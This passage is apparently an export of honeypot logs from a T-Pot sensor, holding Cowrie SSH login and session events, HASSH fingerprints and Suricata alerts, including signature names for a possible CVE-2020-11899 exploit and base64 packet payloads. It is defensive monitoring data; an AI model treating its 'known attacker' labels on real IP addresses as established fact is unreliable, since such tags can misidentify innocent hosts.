"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 33808, "dest_port": 22, "timestamp": "2021-09-20T12:09:00.394583", "@timestamp": "2021-09-20T12:09:00.394Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
35466	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 15:09:01.601811+03	2021-09-20 15:15:03.299691+03	{"_id": "WwYcA3wBvYTbRNuEDVzD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.login.failed", "message": "login attempt [dv/dv] failed", "session": "5423cb7eee14", "@version": "1", "password": "dv", "username": "dv", "timestamp": "2021-09-20T12:09:01.601811Z", "@timestamp": "2021-09-20T12:09:01.601Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
35467	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 15:09:02.883519+03	2021-09-20 15:15:03.300691+03	{"_id": "XQYcA3wBvYTbRNuEEVys", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "5423cb7eee14", "@version": "1", "duration": 2.767284393310547, "timestamp": "2021-09-20T12:09:02.883519Z", "@timestamp": "2021-09-20T12:09:02.883Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
35468	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 15:08:50.393735+03	2021-09-20 15:15:03.301691+03	{"_id": "OAYbA3wBvYTbRNuE3lze", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "8b00df73fcd3", "@version": "1", "duration": 3.0170328617095947, "timestamp": "2021-09-20T12:08:50.393735Z", "@timestamp": "2021-09-20T12:08:50.393Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
35469	192.168.20.103	109.199.241.180	Suricata	2021-09-20 15:08:49.991634+03	2021-09-20 15:15:03.302689+03	{"_id": "OwYbA3wBvYTbRNuE4FwD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.252", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:08:49.991634Z", "@timestamp": "2021-09-20T12:08:49.991Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
35470	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:08:50.320272+03	2021-09-20 15:15:03.30469+03	{"_id": "OgYbA3wBvYTbRNuE4FwD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:50.320272+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 95}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "UDP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0001:0003", "flow_id": 1205777604993808, "payload": "/gEAAAABAAAAAAAAD0RFU0tUT1AtMFZRRDYxQgAA/wAB", "@version": "1", "in_iface": "enp5s0", "src_port": 56689, "app_proto": "failed", "dest_port": 5355, "timestamp": "2021-09-20T12:08:50.320272Z", "@timestamp": "2021-09-20T12:08:50.320Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".............DESKTOP-0VQD61B....."}}	1	\N	\N	alert	\N	\N
35473	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:08:50.315321+03	2021-09-20 15:15:03.30869+03	{"_id": "RAYbA3wBvYTbRNuE4FwD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:46.943532+0000", "pkts_toclient": 0, "pkts_toserver": 12, "bytes_toclient": 0, "bytes_toserver": 1160}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246624548268, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:08:50.315321Z", "@timestamp": "2021-09-20T12:08:50.315Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
35474	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:08:50.813119+03	2021-09-20 15:15:03.309691+03	{"_id": "RQYbA3wBvYTbRNuE4FwD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:08:50.813119Z", "@timestamp": "2021-09-20T12:08:50.813Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
35475	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:08:50.316637+03	2021-09-20 15:15:03.31069+03	{"_id": "PwYbA3wBvYTbRNuE4FwD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:08:50.316637Z", "@timestamp": "2021-09-20T12:08:50.316Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
35476	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:08:50.813821+03	2021-09-20 15:15:03.31169+03	{"_id": "QgYbA3wBvYTbRNuE4FwD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:46.943532+0000", "pkts_toclient": 0, "pkts_toserver": 14, "bytes_toclient": 0, "bytes_toserver": 1360}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246624548268, "payload": "AAAAAgQAAAD/AgAAAAAAAAAAAAAAAAD7BAAAAP8CAAAAAAAA", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:08:50.813821Z", "@timestamp": "2021-09-20T12:08:50.813Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...................................."}}	1	\N	\N	alert	\N	\N
35477	192.168.20.103	109.199.241.180	Suricata	2021-09-20 15:08:50.972283+03	2021-09-20 15:15:03.313691+03	{"_id": "SAYbA3wBvYTbRNuE41zr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.251", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:08:50.972283Z", "@timestamp": "2021-09-20T12:08:50.972Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
35478	192.168.20.103	109.199.241.180	Suricata	2021-09-20 15:08:52.005602+03	2021-09-20 15:15:03.31469+03	{"_id": "SwYbA3wBvYTbRNuE51zU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.251", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:08:52.005602Z", "@timestamp": "2021-09-20T12:08:52.005Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
35479	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:08:52.30707+03	2021-09-20 15:15:03.31569+03	{"_id": "TAYbA3wBvYTbRNuE51zU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:08:52.307070Z", "@timestamp": "2021-09-20T12:08:52.307Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
35480	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:08:50.309937+03	2021-09-20 15:15:03.316691+03	{"_id": "PgYbA3wBvYTbRNuE4FwD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:46.943532+0000", "pkts_toclient": 0, "pkts_toserver": 11, "bytes_toclient": 0, "bytes_toserver": 1070}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246624548268, "payload": "AAAAAQMAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:08:50.309937Z", "@timestamp": "2021-09-20T12:08:50.309Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
35481	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:08:50.31586+03	2021-09-20 15:15:03.318689+03	{"_id": "PAYbA3wBvYTbRNuE4FwD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:46.943532+0000", "pkts_toclient": 0, "pkts_toserver": 13, "bytes_toclient": 0, "bytes_toserver": 1250}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246624548268, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:08:50.315860Z", "@timestamp": "2021-09-20T12:08:50.315Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
35482	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:08:50.308254+03	2021-09-20 15:15:03.319691+03	{"_id": "QwYbA3wBvYTbRNuE4FwD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:46.943532+0000", "pkts_toclient": 0, "pkts_toserver": 10, "bytes_toclient": 0, "bytes_toserver": 980}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246624548268, "payload": "AAAAAQMAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:08:50.308254Z", "@timestamp": "2021-09-20T12:08:50.308Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
35483	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:08:50.309095+03	2021-09-20 15:15:03.32069+03	{"_id": "OQYbA3wBvYTbRNuE4FwD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:08:50.309095Z", "@timestamp": "2021-09-20T12:08:50.309Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
35484	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:08:50.317893+03	2021-09-20 15:15:03.32169+03	{"_id": "QQYbA3wBvYTbRNuE4FwD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:08:50.317893Z", "@timestamp": "2021-09-20T12:08:50.317Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
35485	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:08:51.306131+03	2021-09-20 15:15:03.322689+03	{"_id": "RwYbA3wBvYTbRNuE41zr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:08:51.306131Z", "@timestamp": "2021-09-20T12:08:51.306Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
35488	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 15:09:16.800739+03	2021-09-20 15:15:03.327692+03	{"_id": "lgYcA3wBvYTbRNuESFxj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 176.122.188.154:39334 (192.168.176.2:22) [session: 7a92f4444294]", "session": "7a92f4444294", "@version": "1", "protocol": "ssh", "src_port": 39334, "dest_port": 22, "timestamp": "2021-09-20T12:09:16.800739Z", "@timestamp": "2021-09-20T12:09:16.800Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	US
35489	fe80:0000:0000:0000:7e01:82f4:3ece:6267	109.199.241.180	Suricata	2021-09-20 15:09:17.364525+03	2021-09-20 15:15:03.328691+03	{"_id": "mwYcA3wBvYTbRNuESVyK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:17.364525+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 70}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:7e01:82f4:3ece:6267", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0002", "flow_id": 1907538755686381, "payload": "AAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 133, "timestamp": "2021-09-20T12:09:17.364525Z", "@timestamp": "2021-09-20T12:09:17.364Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...."}}	1	\N	\N	alert	\N	\N
35490	176.122.188.154	109.199.241.180	Fatt	2021-09-20 15:09:16.97875+03	2021-09-20 15:15:03.32969+03	{"_id": "oAYcA3wBvYTbRNuESlzQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "176.122.188.154", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 39334, "dest_port": 22, "timestamp": "2021-09-20T12:09:16.978750", "@timestamp": "2021-09-20T12:09:16.978Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	US
35491	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:09:16.971226+03	2021-09-20 15:15:03.33169+03	{"_id": "owYcA3wBvYTbRNuESlzT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "176.122.188.154", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": 